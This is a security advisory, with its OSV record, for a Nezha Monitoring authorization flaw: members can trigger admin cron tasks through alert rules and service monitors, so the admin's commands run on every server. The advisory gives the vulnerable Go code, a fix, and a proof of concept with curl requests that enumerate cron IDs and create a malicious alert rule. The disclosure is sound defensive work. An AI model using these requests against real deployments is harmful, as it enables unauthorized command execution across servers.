Search criteria
Related vulnerabilities
GHSA-RXF6-WJH4-JFJ6
Vulnerability from github – Published: 2026-05-23 00:08 – Updated: 2026-05-23 00:08Summary
createAlertRule and createService (and their update* siblings) accept FailTriggerTasks []uint64 and RecoverTriggerTasks []uint64 — IDs of cron tasks to fire when the alert/service trips. The validation function only validates the alert's Rules.Ignore server map; it never checks that the cron task IDs in FailTriggerTasks / RecoverTriggerTasks belong to the caller.
When the alert fires, singleton.CronShared.SendTriggerTasks(taskIDs, triggerServer) (service/singleton/crontask.go:113-127) looks up those task IDs in the global cron registry and executes them via CronTrigger. For non-AlertTrigger cover modes, CronTrigger fans the command out to every server in ServerShared.Range with no ownership check.
Net effect: a RoleMember can attach their alert rule (or service monitor) to another user's cron task ID — including admin's crons. When the alert trips, the admin's cron command runs across every server (or every server in its allow/deny list).
This is the same fanout/auth-bypass class as NEZHA-002 (cron creation), but reachable by a different code path: even if /cron writes are restricted to admin, this /alert-rule and /service writes are member-reachable and let a member invoke pre-existing admin crons.
Affected versions
Commit 50dc8e660326b9f22990898142c58b7a5312b42a and earlier on master.
Reachability chain
POST /api/v1/alert-rule(orPOST /api/v1/service) iscommonHandler-gated — any authenticated user.createAlertRule/createServiceacceptsFailTriggerTasksandRecoverTriggerTasksfrom the request body without validating ownership.validateRule(cmd/dashboard/controller/alertrule.go:169-196) only checksrule.Ignoreserver IDs — not the trigger task IDs.validateServers(cmd/dashboard/controller/service.go:543-549) only checks the service'sSkipServersmap — not the trigger task IDs.- When the alert/service trips:
service/singleton/alertsentinel.go:170, 180andservice/singleton/servicesentinel.go:747, 750callCronShared.SendTriggerTasks(...). SendTriggerTasks(service/singleton/crontask.go:113-127) iterates the requested task IDs againstc.listand callsCronTrigger(c, triggerServer)()for each — no ownership check.CronTriggerthen fans the cron'sCommandto every connected agent (perCoverrules).
Code locations
// cmd/dashboard/controller/alertrule.go:47-77
func createAlertRule(c *gin.Context) (uint64, error) {
var arf model.AlertRuleForm
var r model.AlertRule
if err := c.ShouldBindJSON(&arf); err != nil { return 0, err }
uid := getUid(c)
r.UserID = uid
r.Name = arf.Name
r.Rules = arf.Rules
r.FailTriggerTasks = arf.FailTriggerTasks // <-- attacker-controlled task IDs
r.RecoverTriggerTasks = arf.RecoverTriggerTasks // <-- ditto
r.NotificationGroupID = arf.NotificationGroupID
enable := arf.Enable
r.TriggerMode = arf.TriggerMode
r.Enable = &enable
if err := validateRule(c, &r); err != nil { return 0, err } // only checks rule.Ignore servers
...
}
// cmd/dashboard/controller/alertrule.go:169-196
func validateRule(c *gin.Context, r *model.AlertRule) error {
if len(r.Rules) > 0 {
for _, rule := range r.Rules {
if !singleton.ServerShared.CheckPermission(c, maps.Keys(rule.Ignore)) {
return singleton.Localizer.ErrorT("permission denied")
}
// ... duration/cycle validation only
}
}
// BUG: no check on r.FailTriggerTasks or r.RecoverTriggerTasks ownership.
return nil
}
// service/singleton/crontask.go:113-127
func (c *CronClass) SendTriggerTasks(taskIDs []uint64, triggerServer uint64) {
c.listMu.RLock()
var cronLists []*model.Cron
for _, taskID := range taskIDs {
if c, ok := c.list[taskID]; ok { // <-- looks up ANY cron in global state
cronLists = append(cronLists, c)
}
}
c.listMu.RUnlock()
// BUG: no ownership check between alert.UserID and cron.UserID before invoking.
for _, c := range cronLists {
go CronTrigger(c, triggerServer)()
}
}
// service/singleton/crontask.go:138-181 — CronTrigger
return func() {
if cr.Cover == model.CronCoverAlertTrigger {
// alert-only: only sends to triggerServer (the member's server, when alert was triggered by it)
if s, ok := ServerShared.Get(triggerServer[0]); ok && s.TaskStream != nil {
s.TaskStream.Send(&pb.Task{Id: cr.ID, Data: cr.Command, Type: model.TaskTypeCommand})
}
return
}
// For Cover=CronCoverAll or CronCoverIgnoreAll: fan out to every server.
for _, s := range ServerShared.Range {
if cr.Cover == model.CronCoverAll && crIgnoreMap[s.ID] { continue }
if cr.Cover == model.CronCoverIgnoreAll && !crIgnoreMap[s.ID] { continue }
if s.TaskStream != nil {
s.TaskStream.Send(&pb.Task{Id: cr.ID, Data: cr.Command, Type: model.TaskTypeCommand})
}
}
}
PoC
Pre-conditions: attacker has RoleMember credentials. Admin has at least one pre-existing cron with Cover=CronCoverAll or Cover=CronCoverIgnoreAll (i.e., a "run on all servers" maintenance cron — common in monitoring deployments).
Step 1: Enumerate admin cron IDs by ID-guessing. Try IDs 1..N; create AlertRule referencing each, see if the alert handler accepts.
Step 2: Create an alert rule referencing the admin's cron and pointed at an offline-trigger condition on the member's own server.
TOKEN=$(curl -sX POST -H 'Content-Type: application/json' \
-d '{"username":"member","password":"hunter2"}' \
http://nezha.example.com/api/v1/login | jq -r .token)
curl -sX POST -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
-d '{"name":"trip","rules":[{"type":"offline","duration":3,"min":1.0,"cover":"member-server-id"}],"fail_trigger_tasks":[1,2,3,4,5],"recover_trigger_tasks":[],"notification_group_id":0,"trigger_mode":0,"enable":true}' \
http://nezha.example.com/api/v1/alert-rule
Step 3: Stop the agent on the member's own server (or unplug it). The alert trips after duration seconds. SendTriggerTasks([1,2,3,4,5], member-server-id) runs.
Step 4: For each cron ID in the list, if that cron exists in the global registry and has Cover=CronCoverAll/IgnoreAll, its Command runs on every server.
The same chain works via POST /api/v1/service (service-monitor with fail_trigger_tasks).
Composability with NEZHA-002
If NEZHA-002 is unfixed, this chain is redundant — the member already has direct cron-create access. With NEZHA-002 fixed, this still gives the member a means to invoke any pre-existing admin cron with the member's chosen trigger condition. The fix surface is also independent (alertrule/service write paths, not /cron writes).
Suggested fix
In validateRule (and validateServers):
if !singleton.CronShared.CheckPermission(c, slices.Values(r.FailTriggerTasks)) {
return singleton.Localizer.ErrorT("permission denied")
}
if !singleton.CronShared.CheckPermission(c, slices.Values(r.RecoverTriggerTasks)) {
return singleton.Localizer.ErrorT("permission denied")
}
Defense-in-depth in SendTriggerTasks: enforce that task.UserID == alert.UserID || alertOwnerIsAdmin || taskOwnerIsAdmin.
Severity
- PR:L because RoleMember credentials needed.
- AC:H because attacker has to ID-guess admin cron IDs and have an alert-trip vector. (For a deployment where the attacker has visibility into max cron ID via UI hints or the
id-query echo, AC drops to L.) - S:C because the cron command runs on every connected agent (different trust zone).
- Auth: authenticated
RoleMember.
Reproduction environment
- Tested against:
nezhahq/nezhamaster @50dc8e660326b9f22990898142c58b7a5312b42a. - Code locations:
cmd/dashboard/controller/alertrule.go:47-77(createAlertRule), 91-131 (updateAlertRule), 169-196 (validateRule)cmd/dashboard/controller/service.go:404-445(createService), 459-509 (updateService), 543-549 (validateServers)service/singleton/crontask.go:113-127(SendTriggerTasks), 133-181 (CronTrigger)service/singleton/alertsentinel.go:170, 180(alert-fire callsite)service/singleton/servicesentinel.go:742-750(service-fire callsite)
Reporter
Eddie Ran. Filed via reporter API. Companion to NEZHA-001/002 — same auth-bypass class but a different write path.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/nezhahq/nezha"
},
"ranges": [
{
"events": [
{
"introduced": "1.4.0"
},
{
"fixed": "1.14.15-0.20260517022419-d7526351cf97"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-47120"
],
"database_specific": {
"cwe_ids": [
"CWE-862",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-23T00:08:45Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\n`createAlertRule` and `createService` (and their `update*` siblings) accept `FailTriggerTasks []uint64` and `RecoverTriggerTasks []uint64` \u2014 IDs of cron tasks to fire when the alert/service trips. The validation function only validates the alert\u0027s `Rules.Ignore` server map; it never checks that the cron task IDs in `FailTriggerTasks` / `RecoverTriggerTasks` belong to the caller.\n\nWhen the alert fires, `singleton.CronShared.SendTriggerTasks(taskIDs, triggerServer)` (`service/singleton/crontask.go:113-127`) looks up those task IDs in the global cron registry and executes them via `CronTrigger`. For non-`AlertTrigger` cover modes, `CronTrigger` fans the command out to every server in `ServerShared.Range` with no ownership check.\n\nNet effect: a `RoleMember` can attach their alert rule (or service monitor) to **another user\u0027s** cron task ID \u2014 including admin\u0027s crons. When the alert trips, the admin\u0027s cron command runs across every server (or every server in its allow/deny list).\n\nThis is the same fanout/auth-bypass class as `NEZHA-002` (cron creation), but reachable by a different code path: even if `/cron` writes are restricted to admin, this `/alert-rule` and `/service` writes are member-reachable and let a member invoke pre-existing admin crons.\n\n## Affected versions\n\nCommit `50dc8e660326b9f22990898142c58b7a5312b42a` and earlier on `master`.\n\n## Reachability chain\n\n1. `POST /api/v1/alert-rule` (or `POST /api/v1/service`) is `commonHandler`-gated \u2014 any authenticated user.\n2. `createAlertRule` / `createService` accepts `FailTriggerTasks` and `RecoverTriggerTasks` from the request body without validating ownership.\n3. `validateRule` (`cmd/dashboard/controller/alertrule.go:169-196`) only checks `rule.Ignore` server IDs \u2014 not the trigger task IDs.\n4. `validateServers` (`cmd/dashboard/controller/service.go:543-549`) only checks the service\u0027s `SkipServers` map \u2014 not the trigger task IDs.\n5. When the alert/service trips: `service/singleton/alertsentinel.go:170, 180` and `service/singleton/servicesentinel.go:747, 750` call `CronShared.SendTriggerTasks(...)`.\n6. `SendTriggerTasks` (`service/singleton/crontask.go:113-127`) iterates the requested task IDs against `c.list` and calls `CronTrigger(c, triggerServer)()` for each \u2014 no ownership check.\n7. `CronTrigger` then fans the cron\u0027s `Command` to every connected agent (per `Cover` rules).\n\n## Code locations\n\n```go\n// cmd/dashboard/controller/alertrule.go:47-77\nfunc createAlertRule(c *gin.Context) (uint64, error) {\n var arf model.AlertRuleForm\n var r model.AlertRule\n if err := c.ShouldBindJSON(\u0026arf); err != nil { return 0, err }\n uid := getUid(c)\n r.UserID = uid\n r.Name = arf.Name\n r.Rules = arf.Rules\n r.FailTriggerTasks = arf.FailTriggerTasks // \u003c-- attacker-controlled task IDs\n r.RecoverTriggerTasks = arf.RecoverTriggerTasks // \u003c-- ditto\n r.NotificationGroupID = arf.NotificationGroupID\n enable := arf.Enable\n r.TriggerMode = arf.TriggerMode\n r.Enable = \u0026enable\n\n if err := validateRule(c, \u0026r); err != nil { return 0, err } // only checks rule.Ignore servers\n ...\n}\n```\n\n```go\n// cmd/dashboard/controller/alertrule.go:169-196\nfunc validateRule(c *gin.Context, r *model.AlertRule) error {\n if len(r.Rules) \u003e 0 {\n for _, rule := range r.Rules {\n if !singleton.ServerShared.CheckPermission(c, maps.Keys(rule.Ignore)) {\n return singleton.Localizer.ErrorT(\"permission denied\")\n }\n // ... duration/cycle validation only\n }\n }\n // BUG: no check on r.FailTriggerTasks or r.RecoverTriggerTasks ownership.\n return nil\n}\n```\n\n```go\n// service/singleton/crontask.go:113-127\nfunc (c *CronClass) SendTriggerTasks(taskIDs []uint64, triggerServer uint64) {\n c.listMu.RLock()\n var cronLists []*model.Cron\n for _, taskID := range taskIDs {\n if c, ok := c.list[taskID]; ok { // \u003c-- looks up ANY cron in global state\n cronLists = append(cronLists, c)\n }\n }\n c.listMu.RUnlock()\n // BUG: no ownership check between alert.UserID and cron.UserID before invoking.\n for _, c := range cronLists {\n go CronTrigger(c, triggerServer)()\n }\n}\n```\n\n```go\n// service/singleton/crontask.go:138-181 \u2014 CronTrigger\nreturn func() {\n if cr.Cover == model.CronCoverAlertTrigger {\n // alert-only: only sends to triggerServer (the member\u0027s server, when alert was triggered by it)\n if s, ok := ServerShared.Get(triggerServer[0]); ok \u0026\u0026 s.TaskStream != nil {\n s.TaskStream.Send(\u0026pb.Task{Id: cr.ID, Data: cr.Command, Type: model.TaskTypeCommand})\n }\n return\n }\n // For Cover=CronCoverAll or CronCoverIgnoreAll: fan out to every server.\n for _, s := range ServerShared.Range {\n if cr.Cover == model.CronCoverAll \u0026\u0026 crIgnoreMap[s.ID] { continue }\n if cr.Cover == model.CronCoverIgnoreAll \u0026\u0026 !crIgnoreMap[s.ID] { continue }\n if s.TaskStream != nil {\n s.TaskStream.Send(\u0026pb.Task{Id: cr.ID, Data: cr.Command, Type: model.TaskTypeCommand})\n }\n }\n}\n```\n\n## PoC\n\nPre-conditions: attacker has `RoleMember` credentials. Admin has at least one pre-existing cron with `Cover=CronCoverAll` or `Cover=CronCoverIgnoreAll` (i.e., a \"run on all servers\" maintenance cron \u2014 common in monitoring deployments).\n\nStep 1: Enumerate admin cron IDs by ID-guessing. Try IDs 1..N; create AlertRule referencing each, see if the alert handler accepts.\n\nStep 2: Create an alert rule referencing the admin\u0027s cron and pointed at an offline-trigger condition on the member\u0027s own server.\n\n```bash\nTOKEN=$(curl -sX POST -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"username\":\"member\",\"password\":\"hunter2\"}\u0027 \\\n http://nezha.example.com/api/v1/login | jq -r .token)\n\ncurl -sX POST -H \"Authorization: Bearer $TOKEN\" -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"name\":\"trip\",\"rules\":[{\"type\":\"offline\",\"duration\":3,\"min\":1.0,\"cover\":\"member-server-id\"}],\"fail_trigger_tasks\":[1,2,3,4,5],\"recover_trigger_tasks\":[],\"notification_group_id\":0,\"trigger_mode\":0,\"enable\":true}\u0027 \\\n http://nezha.example.com/api/v1/alert-rule\n```\n\nStep 3: Stop the agent on the member\u0027s own server (or unplug it). The alert trips after `duration` seconds. `SendTriggerTasks([1,2,3,4,5], member-server-id)` runs.\n\nStep 4: For each cron ID in the list, if that cron exists in the global registry and has `Cover=CronCoverAll/IgnoreAll`, its `Command` runs on every server.\n\nThe same chain works via `POST /api/v1/service` (service-monitor with `fail_trigger_tasks`).\n\n## Composability with NEZHA-002\n\nIf `NEZHA-002` is unfixed, this chain is redundant \u2014 the member already has direct cron-create access. With `NEZHA-002` fixed, this still gives the member a means to invoke any **pre-existing** admin cron with the member\u0027s chosen trigger condition. The fix surface is also independent (alertrule/service write paths, not /cron writes).\n\n## Suggested fix\n\nIn `validateRule` (and `validateServers`):\n\n```go\nif !singleton.CronShared.CheckPermission(c, slices.Values(r.FailTriggerTasks)) {\n return singleton.Localizer.ErrorT(\"permission denied\")\n}\nif !singleton.CronShared.CheckPermission(c, slices.Values(r.RecoverTriggerTasks)) {\n return singleton.Localizer.ErrorT(\"permission denied\")\n}\n```\n\nDefense-in-depth in `SendTriggerTasks`: enforce that `task.UserID == alert.UserID || alertOwnerIsAdmin || taskOwnerIsAdmin`.\n\n## Severity\n\n - PR:L because RoleMember credentials needed.\n - AC:H because attacker has to ID-guess admin cron IDs and have an alert-trip vector. (For a deployment where the attacker has visibility into max cron ID via UI hints or the `id`-query echo, AC drops to L.)\n - S:C because the cron command runs on every connected agent (different trust zone).\n- **Auth:** authenticated `RoleMember`.\n\n## Reproduction environment\n\n- Tested against: `nezhahq/nezha` master @ `50dc8e660326b9f22990898142c58b7a5312b42a`.\n- Code locations:\n - `cmd/dashboard/controller/alertrule.go:47-77` (createAlertRule), 91-131 (updateAlertRule), 169-196 (validateRule)\n - `cmd/dashboard/controller/service.go:404-445` (createService), 459-509 (updateService), 543-549 (validateServers)\n - `service/singleton/crontask.go:113-127` (SendTriggerTasks), 133-181 (CronTrigger)\n - `service/singleton/alertsentinel.go:170, 180` (alert-fire callsite)\n - `service/singleton/servicesentinel.go:742-750` (service-fire callsite)\n\n## Reporter\n\nEddie Ran. Filed via reporter API. Companion to NEZHA-001/002 \u2014 same auth-bypass class but a different write path.",
"id": "GHSA-rxf6-wjh4-jfj6",
"modified": "2026-05-23T00:08:45Z",
"published": "2026-05-23T00:08:45Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nezhahq/nezha/security/advisories/GHSA-rxf6-wjh4-jfj6"
},
{
"type": "PACKAGE",
"url": "https://github.com/nezhahq/nezha"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Nezha Monitoring: RoleMember can fire other users\u0027 cron tasks via AlertRule.FailTriggerTasks (no ownership check)"
}